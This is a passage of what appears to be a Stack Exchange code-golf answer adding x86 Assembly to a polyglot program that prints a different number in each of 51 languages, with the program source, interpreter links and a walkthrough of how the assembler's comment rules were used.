50;exit;';print((eval("1\x2f2")and(9)or(13))-(0and 4)^1<<(65)>>(62))or"'x"or'({({1})({1}[(0)])}{1}\{1})'#}#(prin 45)(bye)|/=1/24=x<$+@+-@@@@=>+<@@@=>+<?#d>+.--./ __DATA__=1#"'x"// #.\."12"__*' ###;console.log 39 """"#// =begin // #sseemeePaeueewuuweeeeeeeeeeCisajjap*///;.int 2298589328,898451655,12,178790,1018168591,84934449,12597/* #define p sizeof'p'-1?"38":"37" #include<stdio.h> main ( )/*/ # #"`#"\'*/{puts (p);}/*'"`" /* <>{#65}// #} disp 49#// #{ 1}<>// $'main'// #-3o4o#$$$ #<R>"3"O. =end #// """#"#// #} #s|o51~nJ;#:p'34'\=#print (17)#>27.say#]#print(47)#]#echo 21 #sss8␛dggi2␛ `|1|6$//''25 16*///89^_^_Z222999"26 ``` `␉` is a literal tab, `␛` a literal ESC character; Stack Exchange would mangle the program otherwise. I recommend copying the program from the "input" box of the TIO link below, if you want to work on it. Want to learn more? Try the [polygot chat](http://chat.stackexchange.com/rooms/55553/polyglot-development)! [Try it online!](https://tio.run/nexus/bash#zVpLc9tIkj4P/kJfyiDbBEgCIEhJlkyCltyWZ90vay3ZE2GSlkCwSMLCqwFQoizTsdfd2MPc57LH@R9z3V8xf6T3yyrwoZe7@zARS4fAQlVWZla@KjPpX0v0YUdxcDUJ4pzlPMvZKPUveGqy51ds3/Wz7WZLUQRUGo9mnh9NWD7lzI@SWc7GfsAzxXNz1mVJgcWkASuxlLsjCaaM45TRFhaeB8xnXpKwYeBOTY8FvoDN4pDWc54mKcczYxHnI5Yl3PPHvifoMD7PeZT5cZSZzPfO2aUfBGzEA2xYE/fqQMZm2caUJGUqo1hh@HjJLVZXb2UOmIgvj8sTNxXHjVkizr489WXqJgmYVErsGIznfsgz5ueVjHE380mG2JLxaCQklaykGzM32jwlu/Bd5oLfWSpwZzzNcTxT4GVTnnKgdIn4JHVDpl2mfg4RkCAP2BF3U3aScq6DChTAM89NwMcNkiAWE4WcDmIKRXU6lcPXLytQmNxhukmulNLWyb9/r7jMdFj5tI0/R1XbyuHPL9h1uU9jcAFkUGqSaq7OnC8ss/p9jr@5PbQm6UIBVgVSCZgVJ7kFzG6ag731yLhomkmwQZZ1bmliw4gk1Ai6YK8i9q4uzuXN0pSDi7VI3XMcOYijCaSJo6aziKQRsZ0GFODF0SirM34BmcWR1FB8KeR7MvWhsowU4g4hHtcjyUsHEOKEC8DyCnku6WZxMBNw2JnlZH6QCbYSxldj9o6NXT@gLVgnVJLrlGezIKc9s2hEeg/9iI9MtmTDi0cEFMYXIOcCqZiAz4QbniaYAjDUEIuj0tI///q30WQCPAeeF6ejwljfsVHszUIw7ApmXRgimWscuYFgC3B1oi63g8CFG/gjNyfy0VVBQjAhqF7Gs2DEYhBML3041tS9gDOOx9zLuTTxeJaDxzoL3XMZH3xptzh46A6hWEFA0BbHNtj@d9CSx6XBGOEsH@8yIzlklcz6oD17qj171OfgTTf1atmyJm1Ym1kVU3irfM1w3h2s9UnWc@LH5EVBMp0hZmAlyhJEk5SE6bk4TkZBJUfMq7OhELSIRDB04aKXvJJyNoRfLw8mbETaAO03yG8LDGudLuFumhgfbVgYrBNGlmd3gkQQX4Kw4I0CJ2w6IuLuxAWpvDjQgTyQpChmbh7tPIKlE7YhZ7vG0Id2yA4QagplbJwR4K2mhAE2qb0NpwjdK2DxZIhea5L5Yyg5hN2mV8zj5AzwCi7jHBGZCcPIfNhRPGYNo7m9/RvKz1PrwHhvucYn66s6psPfUvMBG/NLFrjRZOZOYMhxhC2u5/EkLzwIJ8ly@MjtMCgmjSKmm9lUKe/fpi1iWxHtN2hQ9JHaKyK0S2YPQYUQtRHAy5mbToQnspGfwl@Cq9vUAXBxi7h6RiA3GDhTH2BheTHByPice7Mc7gZDvpz63hS2S9xF0mFldLxNHlOb1BFyjPGKNDFjdx83FdNaTREbD6IwSKN38SDqE6rujQmh/M2Jr2N2s/AexPGKRUSojVnTck3YXiE03ObHlEkg/C2vbuFZq/RiJU8I@Hu6mFL@ywwKgz37k4hA3Gh17W9ERj@LKrgq/MyH1OkCJ1s/efWa7oO/cJnDQO7yLtsM5jEyGmwvLmhaWCpB4d40ZkbEKgUPmiru049gy8pSTwyMjSRC1U3ISSN5iaUloo8yL7t9obLuXThBslJnPVUd1HGHBRlMKJoFAV5mkXAxjevXsDWPZ5kJh4FsTcpGwJ1a4/riJmA@TeNLxhd6u3IfuT@okO9mQ3/@/1AjHvElnzjVhhrE1O/Rwx3Af7Ei7tCDKl5FuLkQ0z@JKyaikDkLZ4GbyyzDi2eQ80oduG5cpyE1eAIZ/YjMi/3o04U4Rp62zt9Fyj@nTLWvqMlVPo2j1s2Qpq5XmjJlfGeFuOHM5Or@y1zdRCU2/ORH5zHxZoXL0WnDtLdvoEDJcXfn2M@m4nED9A5bd1fE7iwcjsXjHoCITPGWxYuFMI5iSRwS8iPXeiO@TITt@zi4GR1vkH/OoeMJN/Za1tCPrCEfPwT58vnzVwJmPBz6DwFBDFRULb/vAUtnw/ukhKRoeuf2ZDfkfDJL88AYWTl98//9jxHkfVcbU/cqQxp9vhqcRvySNGOMH1ROsZVexON@RX6cBSixfgOH51Lq7Aarwf24nrI3HNaOJCcSlRU4DQI4MkSGAHPXnOEJwWzEl9/3IxUyvHkJy92RHxqw5R2zIRSIV0osKL17CMutTEKioYojDWJ3ZMka0OdrjUrZ87k7iaMra@NKMdPh72B1edmzddGXT2f5TD6p0vst3fkJ/X3NBQvIxvbBc/uw@HoAHkzsPGS70m1SRBfjZeCeW0Mano4xvP@o8jCpP0FZufx@COwvx4nrcesyo697zeYnpGgBivXjn98eH33VfgRC5G5pIJ/3onsVebjUovy3MeGUgXj8EcMTduC5AayvJW2Pei3Ghpj8W4IN3OEVNQemf9yGiOqkVmNGvK6A1q2cJHl4k@fdv0k2e8Q@L0aNyn/r1sHV4Yc4bnO0MXzQJvzYWNdZmTSkMRWW98Qe98Jlhhe4GUwjL6TLL6AN8fiaqdIN4ZHNrEdfM9RbTC1r3YfKpfXOxPdi3N6JUDO9BHh56FK7nT2s0VATTzzWW@mtsNcX3B3RVfvlqwYbezlVKQ@YzO@IRrJAoBJswy7M@O5Wkby8EY2iVeWW1Yv@Fub8tOhnZKuWYWm9yiI3FPUsjZd5UVsWzdlUdEpQ3I4Qpt9GvshLvTiVpZ/sL4gr8R9/HxUNpAnPMxb6GVKwSUQtT9R30/jymaRbUD9IEpcaUIQDgSGQmavx3QHLLv3cm8q@EVK9ty9Pdouiv2i/4uWI4vMGF/LcWBqDBzfnoj6V3IxiLnVUEF7tWh4KJjILI3bpj/IpssFjH3W8aCosC11wkhJYlKcx6bjOXrERp4glEu@PM@SKQRyfi3yfOPnH32WrA4tABq4xXpIXvbcNigwOYov@gicT0yWSTzyNCxCNhAxDn0EiV7AwLud15k1d0YNJTWYsOxBERnYhvjs4ZsYhq1DnmBoSbX@slQ/e/PldrzFwvrDQQvZiUeot5KZ@azyxM7XOliDtBUeyvrncwPJ6tcLU8lwtjkVdStGUWxmVNDim0Vioa9lRCEWDU9gdvxQdBdE2isiPqXOIAifL8aoL1LLT6JQ1pD0hahnjOGfb1F7nEAlGsiXKqGFN1TFtKc/ZZzYlWzE8Zm838CYFElBDJnTWyeZmfm@94MOZuBUvmmaz5YjjlE@dTleMUj6KqWXX@9C/HFjZUir9/vzbRnMOscUpwB9b5DmHP7@4LpvdxufPmXvFVHVRaYsySH2qsvL10aujw@OTg5O3xxDjQi8EeFT0okVf1S367LDlWbb0zEJ@1JIXbRHRVqfNAndZbpXYXpHVCR9YujMobJRBprRGTXNrNV3f@IXgcI6ICqOlTq3otCpLzuKij7jUIpx0KotbVLwrO8xWdSodYUxeFEARVIiJZCIjTTBSuskOggxWPxpBjcOrnMu6TJamq/pULbGya65OUWeqQrCZc7efBC1f4gL1zuTmsoATmLP7WrJ9bv3zr3@Tbdh@jvF/FuMxxv8txx8sktLdvp3kcSUaEsu7V0csQ2iRBw/d@caZZNEJ@45mqM1DSPBCCITAJbPr867xaL13kCeUAGGSmZJlCno8HWjTPE@eWhYF40kcjE1RYvA59ADDNpFVW7/MqCsOZ7J2tne2bGSw3LhYIhTNlgnluxKhrj9lKlMu/MQ5G3qs0@kwFTV9wJ2dthSkVXY/tNSzFaNlwCoybvcY9mDLegfWusU2rezWbJ22MsdhFbvCBm2EZKkXeLUmBgDRaToq5KEibMSFqKhdwOc5gzWnV8v7CJcBSs@Q5CR@G1kiMoBI4tZV5Y7tgl@siKTWv3FXmptqUP9CYCIFfqreZzoMFvI/91hOhPF/yXGv3zC@DO7r669s5@Bu@1673Xyns7D94yimOucleGVa02q2LHtH3/ATtUAFbskrPgMl/AB@5XH/Y5xkB98dvvr@9dHxnfazgKzcBquwSrdT6xtmvTdYDSr32Pwqaz@Jz8HxV/qwRk4Q/qfNjqxf7KZ2Z7NrjfiFRW0hxbSWK7hftM4NjnXZM944@pIH2G8xU7ZVEF8T9JQ7edUmN8u0e0V0c@fdMy/DH@ynKDNhkvTbH3X1cEf44GT/Bx5F/Ipp8K7QhdG6MyTnqV5f/vhcX/1csHGSfyuq1ts2d1i5DmJ4Vtlqi9uovYB5nfVZP@@P@xHZWPvK@sYyrfa1Vg6cKwthQe9q5alj11rVWq0cVbVyRI7x@DFdYosy/O7UVE11DiCjHOhtRHv4qVOO2mW3o5VHTrMqduAV98M1NnzJLPO67C6s8mOYeR0zKadowrVyplPG0jBNewH@PsZ@VLbqoZtcaypT5/SrC5Ev@7Ua8WCWT4mBL1b/uAbO4TXHlrg220W4tSZhW0Slyk1j/fXXkr3DmKotmq1H@zqQtyyretF/sd@u9Nxx0/zFG1RKumpvqe1oSylZ1TN2dH509B4u09SP1d4jrfuEPanW2zu71To22fX9P@HDflFK3T9Be93WzqN9DM46Z0qpM6h1embXGHR7SulaKX1aKCWl5Mw7b2r06b3o1uTn8OBHPDvGoJcc/Xh4cHxYb3aMUvPF63rz@O3zko2X7eZyhWZouYX1N4cHL16/Palj@OdX7w7fHr147ft@ko1G2SieDro10zCYYbLuABzMv611a07tS54zGNqL7vytZXRA90el9IYADaOvm93BZ6XUK/UgoUWzETQuGva5fT7HyJ83PsZpY9qY2iPbtucN/rYxnDeGjdge4cnxb//1zustqxFiwm@M541JI2pEBBpj4M0bHgZjPCe0NAaqj/jnNxpEo3ExB7HAFp8PpzpjjcbWjrZb2yv@OY90yi4@K5V@kQltN9p87uftitS1pvELN9BUuz9vjpuqjjtU29NhlXZL1w2tQXfqlv7B7nS0nW2929V2mjqW1cpcjdOKdq1d2wudHj2toQ/0BUZ9mqqUFiXywohtbeu4Ibj@2XJsq7kFTZZr@zVjHx@nW@sUX89KIyF401JOT18cnBycnjp2ichYllIy@6ZqN9XT02qFjtOmVDUOuBkgLrf2FBWfEuCcIZ@AIu3IMo40jB@5fMb55Wx2yVef71AfffzoJlX4a9uk8NJs7u1u7@61mrv13b3drW17Z3u7bjfr9pPdJ3uNut2wd@2d3e09u767tdfa2traw@r23hOrqpRGfEyJdMIyRK54XEkqhv1Mbe0i42w9UZUSohs17DrU2ozNaVehtjTTmG5VLbJs9ayk9itV65pqRAQuvb2wqhX1TFWAvdO9Lu1sL@hAC2VE5fTWHh0UjmEvOl2MyhXCV6E5oxVvxaVyuQwnetNVW@prU3Ho/43QDpKQkBEQlbLP8bb9Jfq@XXqaVFpblb5TktWDZj/RS93mExPZc2kgJ7UtzA1KwnhY0ybRZrvfjCYTv/kNO/tsf94pW1al0txmzN4hme7ufTj9cPq@Canu7anNnV8t62tXF1ZX4XvMEdlm4X3x@yD1f3IpfY1WMRyDn2a4LlZCZiTlwB@SmG/MSclvTon/woI5hfgiEWo0QN3p1UVOzarUAe0NdHYtEnZ/zDRaxU1uy8JBlkj5LI1Yo61IIOqjtVdDUCGjYA4B0CSFa8137DbzO4QM34jyBQX6LHfUHBoGPNIEF/5Ab69gVpx0sXuDl439tZoEX0i25Hm8cCSPLddWr2AvpHrf04rd@i0A1EqAqfQbleKYv@cYSEi0FYY6@8PHuLUfF5q@PJNgYb1YzK9VsVCqeT1sK3TsatJWftA8/Zou2vaX8PFj70PSCwdtPXRy@q7VwvZCOdd8CVLNndAx7HYCZtt5r1bzB06o/6AlgvnQaQAYtAlzpl@vNB05hboyvf6pFxlfokH9ZS@q2YP6rF5973yqu06jPscfxFYP6r9AeEtRarnzqRa13Q7@6M6/IYnEyWpu@8YUbTnXAudTzx04Db0dYGOt9hKHAZ9ZL6jVBjqIB1i8u7EdPH7s1oLuvB0Yhk5QH1rPXvZyDAY1h96fam5n/uxTb4b9TzV8OyAT6GAe@27qAPjAXxsylupbsy55nBN7c7AXOk71/bPq@6rz6NGn3twIB3Up/qeNteKJ@Tkxv2kjWvX9pmEJkYj6X1O/9Z9@a1YzptZhfRByPdnYKTmsvsdKsvaGxf8B "Bash – TIO Nexus") VIP score ([Versatile Integer Printer](https://codegolf.stackexchange.com/questions/65641/the-versatile-integer-printer)): .008186 (to improve, next entry should be no more than 1151 bytes) This program prints **51** in Assembly, **50** in Bash, **49** in Octave, **48** in Deadfish~, **47** in Lily, **46** in Cubix, **45** in PicoLisp, **44** in alphuck, **43** in reticular, **42** in evil, **41** in brainf\*\*\*, **40** in Minimal-2D, **39** in CoffeeScript, **38** in C, **37** in C++, **36** in Labyrinth, **35** in INTERCAL, **34** in Rail, **33** in Incident, **32** in Whirl, **31** in Modular SNUSP, **30** in Whitespace, **29** in Trigger, **28** in Brain-Flak, **27** in Perl 6, **26** in 05AB1E, **25** in Pip, **24** in Thutu, **23** in Hexagony, **22** in Underload, **21** in Nim, **20** in Prelude, **19** in Reng, **18** in Cardinal, **17** in Julia, **16** in Pyth, **15** in Haystack, **14** in Turtlèd, **13** in Ruby, **12** in Fission, **11** in Befunge-98, **10** in Befunge-93, **9** in Perl 5, **8** in Retina, **7** in Japt, **6** in SMBF, **5** in Python 2, **4** in ><>, **3** in Minkolang, **2** in V/Vim, and **1** in Python 3. ## Verification Most of the languages are tested by the test driver shown above. * Reng can be tested to output 19 [here](https://jsfiddle.net/Conor_OBrien/avnLdwtq/). * Modular SNUSP can be tested to output 31 [here](http://www.quirkster.com/iano/snusp/snusp-js.html). * Cubix’s cube shape viewed [here](https://ethproductions.github.io/cubix/) * Incident is checked by keeping the tokens balanced as described in previous answers. * For Deadfish~, can be tested to output 48 [with this](https://github.com/craigmbooth/deadfish). Note that Deadfish~ takes the polyglot to be fed on stdin, but and prints a number of `>>` prompts to standard output, which are an unavoidable consequence of running any Deadfish~ program. * Assembly can be tested to output 51 [here](https://tio.run/nexus/assembly-as) ## Thanks and Congratulations When @ais523’s 50-in-1-k answer dropped 2 weeks ago, a tear rolled down my cheek. It was too beautiful. And it was in Bash. It was too perfect. I turned to my wife and said “I think the polyglot is done,” feeling immense pride. She turned to look me in the eye, paused a moment, and said “Good. Now take out the trash.” What she meant though was that she felt deep joy for me and my internet friends. Thanks and congratulations to everyone. ## Assembly Explanation In the days that followed, my mind kept wandering back to something @ais523 said in polyglot chat shortly before posting Bash. He pointed out that some flavors of assembly use `#` based line comments and `/*` block comments. Well that was enough for me to slowly lose my mind for the next 2 weeks. There is a kind of implicit challenge in polyglots to include legitimate languages. I’m using the term legitimate here very loosely, but I think we can all grok what I’m getting at. It’s a one thing to include Brainf\*\*\*, but it’s another thing entirely to include the likes of Mathlab or R. Assembly certainly falls into the latter category, and my mind couldn’t let it go. But I knew nothing of Assembly, so this was an uphill battle. After banging my head against the problem for a while, looking for a way for Assembly and C/C++ to coexist, I found this is the documentation for the GNU assembler: > > To be compatible with past assemblers, lines that begin with '#' have a special interpretation. Following the '#' should be an absolute expression (see Expressions): the logical line number of the next line. Then a string (see Strings) is allowed: if present it is a new logical file name. The rest of the line, if any, should be whitespace. > > > This I noticed happened to be quite similar to our pre-processor directive for C/C++ in line 1 of the polyglot. After some trial and error I found that `#1 “bla” 1//*` would enter a block comment for Assembly only. And so a polyglot was made. With the biggest blocking problems solved, I set out to golf down this hello world example. ``` .intel_syntax noprefix .section .data msg: .asciz "51" .section .text .global _start _start: # write syscall mov rax, 1 # file descriptor, standard output mov rdi, 1 # message address mov rsi, OFFSET FLAT:msg # length of message mov rdx, 14 # call write syscall syscall #End the Program mov rax, 60 mov rdi, 0 syscall ``` [Primary Author’s Credit](https://github.com/e12e/asm/blob/gas-syntax/hello/hello.S) Actually I lied a minute ago, the very first version of the Assembly code I used was in AT&T syntax, which is one of two syntactic branches of Assembly. One of the main elements of AT&T syntax is that it’s register references use a `%` prefix and this is a problem for the polyglot. Cardinal uses `%` as a pointer origin, so if we littered a bunch of `%` about, it’d be like a second Fission reaction. The other syntactic branch, which doesn’t use `%` as a register prefix, is called Intel syntax. The exploit we’re using in the polyglot to get past the first line and enter a block comment is in the GNU Assembler (GAS or AS for short). AS has the happy feature of allowing both syntactic branches. You just have to declare that you want to use Intel syntax, which is happening on Line 1 of the Assembly code. Assembly uses registers, which are a small number of memory locations literally located on the CPU for speed of access. This isn’t unique to Assembly other than the fact that their use is not abstracted away from the developer’s concern. There are different kinds of registers which are used for different purposes. From Wikipedia: • AX multiply/divide, string load & store • CX count for string operations & shifts • DX port address for IN and OUT • BX index register for MOVE • SP points to top of stack • BP points to base of stack frame • SI points to a source in stream operations • DI points to a destination in stream operations AX is used in line of the \_start Function here: `mov rax, 1`. The `r` in `rax` indicates that the memory is 64-bit. If we swapped this for an `e`, that would indicate a 32-bit memory, which is totally valid to do with a 64-bit processor. We just wouldn’t use the top half of the available memory. To indicate 16-bit memory, you just use `ax`, which is fine for us because we’re just printing integers. So we can golf a few bytes by changing all the register references to 16-bit. Okay, not quite all the register references could drop the `r`. `mov rsi, OFFSET FLAT:msg`. If you’re familiar with Assembly, but not this statement, it’s because this was semi unique to AS. At least, that what I gleaned from [this](http://madscientistlabs.blogspot.com/2013/07/gas-problems.html), which helped me gold down the statement to just `lea rsi,m`. After this, I experientially found that I could knock `_start:` down to just `_p` and cut `.global _start` entirely with only a warning issued. Second, `msg:` was reduced to just a single character variable `p:`. I chose `p` for both the string variable and the starting function to offset some of the `s` Assembly added for Alphuck’s benefit. Then, I put in `;` to delimit instructions in order to put them all on one line. This is primarily to avoid excessive trailing `#//`s on each line for Thutu’s benefit. Also, I noticed that our Assembler didn’t appear case sensitive, so I just upper or lower cased various characters to avoid Incident imbalance. This golf'd us down to: `.intel_syntax noprefix;.text;mov ax,1;mov di,1;lea rsi,m;mov dx,2;syscall;mov ax,60;mov di,0;syscall;m:.asciz "51"` After all this, Japt and Underload were the only problem children in this answer. Japt had some beef with the `*` added in line 1, but it seemed to be fixed by reverting to the `puts(p);` line from the C++ answer. I ended up throwing a `(` in this line as well and then closing it on Octive’s line. This was so Underload would stop sefaulting. A similar treatment was had on line 1 to add in the `*` there. This was enough to meet the byte requirements of this challenge. In fact I verified this by producing [this version](https://tio.run/nexus/bash#zVpJc9tIlj43/kJd0iDLBEgCIKmlbJGgJdtyj2qzxpJdESZpCQSSJCxsBYASJZmKuc7EHPrelzn2/@jr/Ir@IzXfywQXba6uQ0cMFQITmS/fe/mWfIv0W4k@7DAOLsdBnLOcZznzUv@cpyZ7ecl2HT/bam0oioBKY2/q@tGY5RPO/CiZ5mzkBzxTXCdnXZYUWEwasBJLueNJMGUUp4y2sPAsYD5zk4QNA2diuizwBWwWh7Se8zRJOZ4Zizj3WJZw1x/5rqDD@CznUebHUWYy3z1jF34QMI8H2LAi7taBjE2ztSlJylS8WGH4uMkdVpdvZQ6YiC@OyxMnFceNWSLOvjj1ReokCZhUSuwIjOd@yDPm55WMcSfzSYbYkvHIE5JKltKNmROtn5Kd@w5zwO80FbgznuY4ninwsglPOVA6RHycOiHTLlI/hwhIkHvskDspO04510EFCuCZ6yTg4xZJEIuJQk4HMYWiOp3K/ts3FShM7jCdJFdK6cbxv3@vOMy0WfmkjV9bVdvK/s@v2XW5T2NwAWRQapJqjs7sG5ZZ/T7H76w5tMbpXAFWBVIJmBUnuQXMTpqDvdXIOG@ZSbBGlnXuaGLNiCSUB12wg4h9qItzudM05eBiJVLnDEcO4mgMaeKo6TQiaURsuwEFuHHkZXXGzyGzOJIaii@EfI8nPlSWkUKcIcTjuCR56QBCnHABWF4hzwXdLA6mAg47s5zMDzLBVsJ4MGIf2MjxA9qCdUIluU55Ng1y2jONPNJ76EfcM9mCDTf2CCiMz0HOAVIxAZ8J1zxNMAVgqCEWR6Wlf/zlr954DDx7rhunXmGsH5gXu9MQDDuCWQeGSOYaR04g2AJcnajL7SBw7gS@5@REProsSAgmBNWLeBp4LAbB9MKHY02cczjjaMTdnEsTj6c5eKyz0DmT94Mv7RYHD50hFCsICNri2AbbfQUtuVwajBFO89EzZiT7rJJZn7QXO9qLJ30O3nRTr5Yta9yGtZlVMYW3ytcM58PeSp9kPcd@TF4UJJMp7gysRFmC2yQlYboOjpPRpZLjzquzoRC0uIlg6MJFL3gl5WwIv14cTNiItAHab5DfFhhWOl3A3TYx7q1ZGKwTRpZn9y6JIL4AYcEbXZyw6YiIO2MHpPLiQHvyQJKimLl9tLMIlk7Yhpw9M4Y@tEN2gKumUMbaGQG@0ZIwwCa1t@YUoXMJLK68oleaZP4ISg5ht@klczk5A7yCy3uOiEyFYWQ@7CgesYbR2tr6HeXnqbVnfLQc48r6qo7p8HfUvMdG/IIFTjSeOmMYchxhi@O6PMkLD8JJshw@cvcaFJNGcaeb2UQp796lLe624rZfo0G3j9RecUM7ZPYQVAhRGwG8nDnpWHgi8/wU/hJc3qUOgPM7xNVTArnFwKn6CAuLwAQj4zPuTnO4Gwz5YuK7E9gucRdJh5W3413ymFqnjivHGC1JEzPN7tOWYlrLKWLjURQGafQ@Htz6hKp7a0Iof31CHhCR94iiPq6qRZgVXrBMBZZnhzC@pyCS8l@nEC5szx9HBOJEyxC9dov5WVTBte5nPiREwZbs8vjgLd3dv3CZb0BGMu6sX7wxsg9sL4IpLSwEpnB3EjMjYpWCB00Vse8z2LKy1BUDYy3gq7oJaWkkNbG0QPRZ5lB3gx/r3ocTJCt11lPVQR3xJsig7mgaBHiZRsIdNK5fwy5cnmUmjBs@aFLmAO7UGtfntwHzSRpfMD7X25WHyP1BhbyaDv3Z/0ONuMSXfOJUa2oQU/@MHu4B/osVcY8eVHEQIcrg/r0S4SCi620aTgMnlxmBG08h56U6EBocuyE1eAwZ/Ygsif3oU/AaIada5doiPZ9RVtlX1OQyn8TRxu3rR12ttGR698EKEY3M5PLhwKuuoxIbfvKjs5h4s8LF6KRhNrduoUB5cH/nyM8m4nEL9B5b91fE7iwcjsTjAYCITPGOxYuFMI5iSRwS8iPHeie@TFyxD3Fw@ya7Rf4lh47H3Hi@YQ39yBry0WOQb16@PBAwo@HQfwwIYqACaPH9AFg6HT4kJSQwk3uRjt2S8/E0zQPDs3L65v/7Hx7kfV8bE@cyQ8p7thycRPyCNGOMHlVOsZVexONhRX6eBiiHfgeH61Ca6wTLwcO4dtg7DmtHQhKJKgicBgEcGSLDBXPfnOEJwdTji@@HkQoZ3g6YcnfkhwZsedtsCAXilZIASsUew3In6ks0VB2kQex4lqzXfL7SqJQ9nznjOLq01kKKmQ7/CVYXgZmtCrR8Ms2n8klV2e/pzk/o92suWEA2tvZeNveLr0fgwcT2Y7Yr3SbF7WK8CZwza0jDkxGGDx9VHib1xygBF9@Pgf1ylDguty4y@nrQbH5COhWgsD76@f3R4VftRyBEnpUG8vkguoPIRVCL8t/HhFMG4vFHDE/YgesEsL4NaXvUFzHWxOTfEWzgDC@pkJ/8cRsiquNajRnxqlpZtV2S5PFNrvvwJtmYEfvcGPUk/72og9Dhhzhuy1sbPmoTfmysaqJMGtKIisAH7h7n3GGGGzgZTCMvpMvPoQ3x@JqpUoRwyWZWo68Z6h2mFnXpY6XNamfiuzGidyLUTC8BXh4LanezhxUaariJx2orvRX2@po7HoXam68abOzmVFE8YjIP@cFelvGQGgFJQJ43iQNcdbQmspN3omuzLKOyetFswpyfFs2FbNm/K61WWeSEorik8SLxacsKNpuItgUqTQ/38PvIF4mnG6eyDpPFvoh5f/@bV3RzxhzleOhnyLHGEfUfUWxN4osXkm5BfS9JHOoGEQ54fiBTU@PVHssu/NydyCYOcrn3b46fFRV40QvFyyFdwGtcyHNjaQQenJyLYlFy48VcKqEgvNy1OBRsYBpG7ML38gnSvSMfRbWo8BdVJzhJCQylfkxKrLMD5nG6kkRm/XmKZDCI4zOR0BMnf/@b7DtgEcjANcYL8qIRtkaRwQOaoth3Zea5QHLF07gA0UjIsOQpJHIJE@JyXmfuxBENkdRkxqIdQGRkS@DV3hEz9lmF2rjUHWj7I6289@7PH3qNgX3DQgvpiUW5tZCb@q3xXTNT62wB0p5zZOPryw0sr1YrTC3P1OJY1DIUHbKlUUmDYxqNhboW5X0ouo3C7viFKO9FDyciR6U2HiqYLMerLlDLtp9d1pDXhChWjKOcbVGvm0MkGMn@JKPuMSiKLeUZ@8ImZCuGy5pbDbxJgQTUHQntVTa5nsBbr/lwKsLeectsbdjiOOUTu9MVo5R7MfXPep/6FwMrW0il359922jNILY4BfhTizxn/@fX12Wz2/jyJXMumarOK21R56g7KitfHx4c7h8d7x2/P4IY53ohwMOiMSyanE7R9IYtT7OFZxbyo/646FGIHjdtFrjLcqvEdkBWJ3xg4c6gsFbnmNIaNc2p1XR9rV2/P8OVCaOltqloeyoLzuKiqbfQIpx0IqtXlLRLO8yWhSgdYUReFEARVGmJbCEjTTBSusn2ggxW73lQ4/Ay57LwkrXnsgBVS6zsmMtT1JmqEGxm32/uQMsXiJDuqdxcFnACc/ZQf7TPrX/85a@yJ9rPMf7PYjzC@L/l@JNFUrrfRJM8LkVDYvlwcMgyXC3y4KEzWzuTrCph39EUxXcICZ4LgRC4ZHZ13hUerfcB8oQSIEwyU7JMQY@nA22S58mOZdFlPI6DkSlqCD6DHmDYJtJm69cptajhTNb21vZmEykqN84XCEU3ZUwJrUSo6ztMZcq5n9inQ5d1Oh2momgPuL3dloK0ys6nDfV0yWgZsIq8t3sMe7BltQNr3WKbVnZqTZ22MttmlWaFDdq4kqVe4NWaGABEp@mokIeKayMuREX9AD7LGaw5vVzEIwQD1JYhyUn8oWKByAAiiVtXlXu2C36xIrJW/1asNNfVoP5CYCLH3VEfMh0GC/mfBywnwvi/5LjXbxg3g4ea7Evb2bvfS9fudsLpLGz3KIqpkHkDXpnWslobVnNbX/MTtUAFbskrvgAl/AB@5XL/c5xke6/2D75/e3h0rxcsICt3wSqs0u3U@oZZ7w2Wg8oDNr9My4/jM3D8laaokROEf7XeHvWL3dTTbHUtj59b1PdRTGuxgviidW5xrMsG7trRFzzAfouZclMF8RVBV7lXxq1zs8irl0TXd94/8@L6g/0UdSRMkv4QR207xAgfnOz@wKOIXzIN3hU6MFpniuw71euLvwTXl737tZP8W1GW3rW5/cp1EMOzylZbRKP2HOZ12mf9vD/qR2Rj7UvrG8u02tdaObAvLVwLelcrT@xmbaNaq5WjqlaOyDGePqUgNi/D705M1VRnADLKgd7GbQ8/tctRu@x0tLJnt6piB14RH66x4SazzOuyM7fKT2HmdcyknG4TrpUznTKWhmk25@Dvc@xHZaseOsm1pjJ1Rn8CIfJlv1YjHszyCTFwY/WPauAcXnNkibDZLq5baxy2xa1UuW2sv/1Wam4zpmrz1saTXR3INyyret5/vduu9JxRy/zVHVRKutrcVNvRplKyqqfs8Ozw8CNcpqUfHao9rfsd@65ab28/q9axqVnf/RM@7Fel1P0TtNfd2H6yi8Fp51QpdQa1Ts/sGoNuTyldK6WruVJSSnZn9q5Gn97rbk1@GPsRz44x6CWHP@7vHe3XWx2j1Hr9tt46ev@y1MTLVmuxQjO0vIH1d/t7r9@@P65j@OeDD/vvD1@/9X0/yTwv8@LJ7tvtt5vWoFszDYMZJusOwMds9m335uamxmo31TzPq@ZMgiml193Ze8vogJMfldI72mQYfd3sDr4opV6pB5nNW42gcd5onjXPZhj5s8bnOG1MGpOm12w2Zw3@vjGcNYaNuOnhyfHTCDH0G6NZY9yIGhEBxRi4s4aLwQjPMS2NgOQzfvxGg7A3zmcgEzTF59OJzlijsbmtPas9L37sJzplGl@USr/IirYabT7z83ZF6l3T@LkTaGqzP2uNWqqOeKo912GhzQ1dN7QGxddN/VOz09G2t/RuV9tu6VhWKzM1TivatXbdnOv06GkNfaDPMerTVKU0L5FHRmxzS0e04PoXy25arU171inXdmvGLj52t9Ypvl6UPCF@01JOTl7vHe@dnNjNEpGxIHGzb6rNlnpyUq3QcdqUtsYBNwPc0RvPFRWfEuDsIR@DIu3IULwhJ@OHDp9yfjGdXvDl5xWKpc@fcTnJj1WFE7dNCs3BSXYZ5Ugnohhp6siftc0c0bAdxufMmdWbYuD5GCDPYmnm10M5Nau32tklheRgAbzdWEA3Vks7ppO5/hVTt5qqUvJAAgl5wjLcgPGo4laM5gt14xky143vsI5bkjp7HeqBxuakq5SaKuRRVaiPzTSmg3Wl1NfU05Lar1Sta6o5tURvz61qRT0FBlrHHgV7Ot3rEpuTbOaKR2X45vMS6@s0ca00550uRuUKYa7QnLERb8alcrkM92RddUN9ayo2/XsICZrkLSQOXCX2Jd5q3kTft0s7SWVjs9KHA2fZs2@88dhvfcNOvzS/bJctq1JpbTFml6TZNb/TS93WdyZS9tJAzjFtE5ODkjDTVhMqJMVE3qeTTycfW63W8@fP1db2b5b1taCI1WVgGHHcmdPwociwl/o/OZQYR8vogMFPUwSipdgZyT3wh0Lw63OFLtamxH@qYE4hvkiEGg1Q0bp1ka2zKjVPewOdXYtSwB8xjVaRIzRlSSKLr3yaRqzRViQQteDayyGokJkwmwBokgKB5tvNNvM7hAzfiB8FBfosdtRsGgY80gQX/kBvL2GWnHSxe42Xtf21mgSfS7bkedzQk8eWa8tXsBdSJ8HVit3